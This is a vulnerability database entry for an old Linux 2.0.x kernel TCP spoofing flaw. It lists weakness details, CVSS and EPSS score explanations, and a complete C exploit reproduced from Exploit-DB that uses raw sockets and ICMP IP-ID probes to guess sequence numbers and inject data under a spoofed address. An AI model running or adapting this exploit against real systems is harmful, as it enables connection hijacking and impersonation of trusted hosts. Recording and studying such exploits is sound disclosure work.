Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-276 |
Incorrect Default Permissions
During installation, installed file permissions are set to allow anyone to modify those files. |
|
Metrics
| Metric |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack ComplexityThis metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User InteractionThis metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. ScopeFormally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 19458
Publication date : 1999-07-30 22:00 +00:00
Author : Nergal
EDB Verified : Yes
/*
source: https://www.securityfocus.com/bid/580/info
Certain Linux kernels in the 2.0.3x range are susceptible to blind TCP spoofing attacks due to the way that the kernel handles invalid ack sequence numbers, and the way it assigns IDs to outgoing IP datagrams. For this vulnerability to be effective, 3 conditions have to be met: The spoofed machine must be off the network or incapable of sending data out/recieving data properly, the target machine must not be communicating actively with any other machines at the time, and no packets between the attacker's machine and the target can be dropped during the attack.
The reason this can be done is firstly due to how these kernels handle invalid ack_seq numbers. If a connection has not been established, a packet with an ack_seq too low will be ignored, and a packet with an ack_seq too high will be responded to with a reset packet. If a connection has been established, any invalid ack_seq is ignored. Whether or not a reply packet has been generated can be determined by sending ICMP echo requests, with the attacker's real IP address as the source. Linux assigns sequnetial IP IDs to all outgoing packets. Therefore, by sending an ICMP echo request probe between each spoofed packet, it is possible to determine how many packets were generated in reply to the spoof attempt.
Therefore: ICMP echo request is sent, and reply received with id=i. If a spoof attempt is made with ack_seq = a, and the next ICMP reply has an id of i+1, then no reply was generated from the spoof attempt and ack_seq is too low. However, if the ICMP reply has an id of i+2, then a response was generated and ack_seq is either too high, (reset packet sent by target) or correct (connection established). To determine which is true, another spoofed packet is sent, with a known-high ack_seq, followed by another ICMP probe. If the response to this probe has an ID incremented by two, then the known-high ack_seq resulted in a reset packet being sent, so the connection has not been successfully established. If the ICMP reply has an ID incremented by one, the known-high ack_seq was ignored, meaning that the connection has been established and the blind spoof can continue.
*/
/* by Nergal */
#include "libnet.h"
#include <netinet/ip.h>
#include <netdb.h>
int sock, icmp_sock;
int packid;
unsigned int target, target_port, spoofed, spoofed_port;
unsigned long myaddr;
int
get_id ()
{
char buf[200];
char buf2[200];
int n;
unsigned long addr;
build_icmp_echo (ICMP_ECHO, 0, getpid (), 1, 0, 0, buf + IP_H);
build_ip (ICMP_ECHO_H, 0, packid++, 0, 64, IPPROTO_ICMP, myaddr,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_ICMP, ICMP_ECHO_H);
write_ip (sock, buf, IP_H + ICMP_ECHO_H);
do
{
n = read (icmp_sock, buf2, 200);
addr = ((struct iphdr *) buf2)->saddr;
}
while (addr != target);
return ntohs (((struct iphdr *) buf2)->id);
}
static int first_try;
int
is_bigger ()
{
static unsigned short id = 0, tmp;
usleep (10000);
tmp = get_id ();
if (tmp == id + 1)
{
id = tmp;
return 0;
}
else if (tmp == id + 2)
{
id = tmp;
return 1;
}
else
{
if (first_try)
{
id = tmp;
first_try = 0;
return 0;
}
fprintf (stderr, "Unexpected IP id, diff=%i\n", tmp - id);
exit (1);
}
}
void
probe (unsigned int ack)
{
char buf[200];
usleep (10000);
build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, 0, 0, buf + IP_H);
build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, IP_H + TCP_H);
}
void
send_data (unsigned int ack, char *rant)
{
char * buf=alloca(200+strlen(rant));
build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, rant, strlen
(rant), buf + IP_H);
build_ip (TCP_H + strlen (rant), 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H + strlen (rant));
write_ip (sock, buf, IP_H + TCP_H + strlen (rant));
}
void
send_syn ()
{
char buf[200];
build_tcp (spoofed_port, target_port, 1, 0, 2, 32000, 0, 0, 0, buf + IP_H);
build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, IP_H + TCP_H);
}
#define MESSAGE "Check out netstat on this host :)\n"
void
send_reset ()
{
char buf[200];
build_tcp (spoofed_port, target_port, 4 + strlen (MESSAGE), 0, 4, 32000, 0, 0,
0, buf + IP_H);
build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, IP_H + TCP_H);
}
#define LOTS ((unsigned int)(1<<30))
main (int argc, char **argv)
{
unsigned int seq_low = 0, seq_high = 0, seq_toohigh, seq_curr;
int i;
char myhost[100];
struct hostent *ht;
if (argc != 5)
{
printf ("usage:%s target_ip target_port spoofed_ip spofed_port\n",
argv[0]);
exit (1);
}
gethostname (myhost, 100);
ht = gethostbyname (myhost);
if (!ht)
{
printf ("Your system is screwed.\n");
exit (1);
}
myaddr = *(unsigned long *) (ht->h_addr);
target = inet_addr (argv[1]);
target_port = atoi (argv[2]);
spoofed = inet_addr (argv[3]);
spoofed_port = atoi (argv[4]);
sock = open_raw_sock (IPPROTO_RAW);
icmp_sock = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sock <= 0 || icmp_sock <= 0)
{
perror ("raw sockets");
exit (1);
}
packid = getpid () * 256;
fprintf(stderr,"Checking for IP id increments\n");
first_try=1;
for (i = 0; i < 5; i++)
{
is_bigger ();
sleep(1);
fprintf(stderr,"#");
}
send_syn ();
fprintf (stderr, "\nSyn sent, waiting 33 sec to get rid of resent
SYN+ACK...");
for (i = 0; i < 33; i++)
{
fprintf (stderr, "#");
sleep (1);
}
fprintf (stderr, "\nack_seq accuracy:");
first_try=1;
is_bigger();
probe (LOTS);
if (is_bigger ())
seq_high = LOTS;
else
seq_low = LOTS;
probe (2 * LOTS);
if (is_bigger ())
seq_high = 2 * LOTS;
else
seq_low = 2 * LOTS;
probe (3 * LOTS);
if (is_bigger ())
seq_high = 3 * LOTS;
else
seq_low = 3 * LOTS;
seq_toohigh = seq_high;
if (seq_high == 0 || seq_low == 0)
{
fprintf (stderr, "Non-listening port or not 2.0.x machine\n");
send_reset ();
exit (0);
}
do
{
fprintf (stderr, "%i ", (unsigned int) (seq_high - seq_low));
if (seq_high > seq_low)
seq_curr = seq_high / 2 + seq_low / 2 + (seq_high % 2 + seq_low % 2) / 2;
else
seq_curr = seq_low + (unsigned int) (1 << 31) - (seq_low - seq_high) / 2;
probe (seq_curr);
if (is_bigger ())
seq_high = seq_curr;
else
seq_low = seq_curr;
probe (seq_toohigh);
if (!is_bigger ())
break;
// getchar();
}
while ((unsigned int) (seq_high - seq_low) > 1);
fprintf (stderr, "\nack_seq=%u, sending data...\n", seq_curr);
send_data (seq_curr, MESSAGE);
fprintf (stderr, "Press any key to send reset.\n");
getchar ();
send_reset ();
}
Products Mentioned
Configuraton 0
Suse>>Suse_linux >> Version 6.0
References
